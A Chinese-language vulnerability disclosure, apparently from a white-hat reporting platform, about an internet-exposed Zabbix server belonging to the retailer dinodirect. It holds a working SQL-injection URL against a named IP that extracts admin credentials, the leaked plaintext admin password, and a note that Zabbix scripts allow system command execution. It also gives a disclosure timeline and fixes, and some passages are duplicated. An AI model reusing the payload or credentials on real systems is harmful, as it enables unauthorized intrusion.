漏洞详情

披露状态:

2014-09-26: 细节已通知厂商并且等待厂商处理中
2014-09-26: 厂商已经确认,细节仅向厂商公开
2014-10-06: 细节向核心白帽子及相关领域专家公开
2014-10-16: 细节向普通白帽子公开
2014-10-26: 细节向实习白帽子公开
2014-11-10: 细节向公众公开

简要描述:

大龙网(http://www.dinodirect.com) zabbix服务器在外网暴漏,同时存在SQL注入漏洞,导致可以获取管理密码登陆管理多个主机,可以利用zabbix的管理功能执行任意系统命令。
大龙网还有个域名:http://china.osell.com/

详细说明:

大龙网zabbix的地址:http://113.204.136.84/
存在注入,爆出管理帐号和密码:
http://113.204.136.84/httpmon.php?applications=2%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%28select%20concat%28cast%28concat%28alias,0x7e,passwd,0x7e%29%20as%20char%29,0x7e%29%29%20from%20zabbix.users%20LIMIT%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29
帐号 admin ,密码:DD!!2012 ,登录后台如图:

111.jpg


之所以说是大龙网的zabbix.是因为在后台看到了其它系统的连接,点开能发现是大龙网的,如图:

333.jpg


111.jpg


zabbix可以执行系统命令,首先添加脚本,如图:

123.jpg

漏洞证明:

333.jpg


111.jpg


zabbix可以执行系统命令,首先添加脚本,如图:

123.jpg

修复方案:

zabbix迁移到内网;
zabbix进行升级,解决注入问题

标签: none

评论已关闭